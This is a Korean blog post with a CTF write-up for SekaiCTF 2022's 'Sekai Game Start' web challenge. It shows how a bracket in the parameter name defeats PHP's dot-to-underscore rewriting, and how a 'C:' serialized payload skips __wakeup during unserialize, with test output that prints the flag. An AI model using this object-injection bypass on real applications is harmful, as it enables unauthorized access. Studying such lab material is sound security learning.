티스토리 뷰

보안/CTF

[SekaiCTF] [Web] Sekai Game Start

돔돔이부하 2022. 10. 4. 00:46
728x90
반응형

문제 지문

Hey it's our Sekai Game – try to make it start!!
Author: bwjy

문제 풀이

문제 코드는 아래와 같습니다.

<?php
include('./flag.php');
class Sekai_Game{
    public $start = True;
    public function __destruct(){
        if($this->start === True){
            echo "Sekai Game Start Here is your flag ".getenv('FLAG');
        }
    }
    public function __wakeup(){
        $this->start=False;
    }
}
if(isset($_GET['sekai_game.run'])){
    unserialize($_GET['sekai_game.run']);
}else{
    highlight_file(__FILE__);
}

?>

sekai_game.run 이라는 GET 파라미터를 받아서, 그 내용 값을 unserialize 함수에 넘겨주는 것으로 Flag값이 출력되도록 해야하는 문제입니다.

 

우선 첫번째로 sekai_game.run 이라는 이름의 GET 파라미터를 어떻게 받아와야하는지 고민해보게 됩니다.

PHP에서는 보통 파라미터로 . 이라는 문자가 들어오면 _(언더바)로 변경해버립니다.

https://www.php.net/manual/en/language.variables.external.php#81080

 

PHP: Variables From External Sources - Manual

This post is with regards to handling forms that have more than one submit button. Suppose we have an HTML form with a submit button specified like this: Normally the 'value' attribute of the HTML 'input' tag (in this case "Delete") that creates the submit

www.php.net

하지만 여러번 테스트해봤을 때 알게된 사실인데 그 중에서 신기하게도 [ (대괄호)가 들어오면 replace가 한번만 이루어집니다.

 

그 점을 이용해서 if(isset($_GET['sekai_game.run'])){ 이 코드의 결과 값을 True 로 설정할 수 있게 됩니다.

sekai game[run -> sekai_game_run
sekai.game[run -> sekai_game_run
...
sekai[game.run -> sekai_game.run (뭐지??!)

 

그 다음으로는 이제 __wakeup 함수가 실행되지 않게 해야합니다. __wakeup 함수는 unserialize 함수가 실행될 때 자동으로 실행되는 함수입니다. 근데 어떻게 해야지 __wakeup 함수가 실행되지 않게 할 수 있을까요?

 

일단 구글링을 하지 않고 다양한 시도를 해보았습니다. 예를 들어 큰 문자열을 넣어서 overflow 가 읽어나게 한다던지, array를 넣어본다던지, type을 다양하게 변경해본다던지, 등등 여러 시도 끝에 결국 구글링이 답이다라는 생각과 함께 찾아보았더니 이런 글이 보였습니다.

https://bugs.php.net/bug.php?id=81151 

 

PHP :: Bug #81151 :: bypass __wakeup

 

bugs.php.net

class 를 serialize 함수로 만들면 아래와 같이 Object 로 나옵니다.

<?php
class Sekai_Game{
    public $start = True;
    public function __destruct(){
        if($this->start === True){
            echo "Sekai Game Start Here is your flag ".getenv('FLAG');
        }
    }
    public function __wakeup(){
        $this->start=False;
    }
}
$o = new Sekai_Game;
echo serialize($o); // O:10:"Sekai_Game":1:{s:5:"start";b:1;}
?>

주석 부분을 보면 O:10: .. 로 시작하는 부분이 보일겁니다. O 는 Object를 의미합니다.

근데 저기 사이트에 나온 대로 O가 아닌 C로 하게 되면 즉 Class로 인식하게 되면 정말 unserialize 함수가 실행되면서 __wakeup 함수를 수행하지 않게 됩니다.

 

<?php
class Sekai_Game{
    public $start = True;
    public function __destruct(){
        if($this->start === True){
            echo "Sekai Game Start Here is your flag ".getenv('FLAG');
        }
    }
    public function __wakeup(){
        $this->start=False;
    }
}
unserialize('C:10:"Sekai_Game":0:{}');
?>

아래는 직접 위 코드를 php 로 실행해본 결과입니다.

┌──(vagrant㉿kali)-[/mnt/SekaiCTF2022/SekaiGameStart]
└─$ php -f unserialize.php 
PHP Warning:  Class Sekai_Game has no unserializer in /mnt/SekaiCTF2022/SekaiGameStart/unserialize.php on line 13
Sekai Game Start Here is your flag

정말 __wakeup 함수가 실행되지 않아서 start 값이 False가 되지 않았기 때문에 flag 내용이 출력되는 것을 알 수 있습니다.

 

이런 식으로 PHP의 여러 버그들을 활용해서 풀 수 있었던 문제입니다.

 

CTF 자체는 2일간 총 48시간 진행되었지만, 연휴가 껴있다보니 놀러가지 않을 수 없었고, 문제 풀이에 많은 시간을 할애할 수 없어서 많은 문제를 풀진 못했지만 단 두 문제만 풀었어도 정말 많은 내용을 배울 수 있었던 것 같습니다.

 

최근에 CTF를 이 말고도 더 나갔었지만, 어떤 CTF는 문제 풀이를 공개하지 말라고 했고, 어떤 곳에서는 대회 끝나자마자 바로 문제를 다 닫아버려서 풀이를 블로그에 올리지 못했어서 아쉬웠던 것 같습니다. 다행히 이번에는 대회가 끝나고도 열려있어서 연휴 끝나고도 여유 시간을 활용해서 글을 작성할 수 있었네요.

 

- 끝 -

728x90
반응형
댓글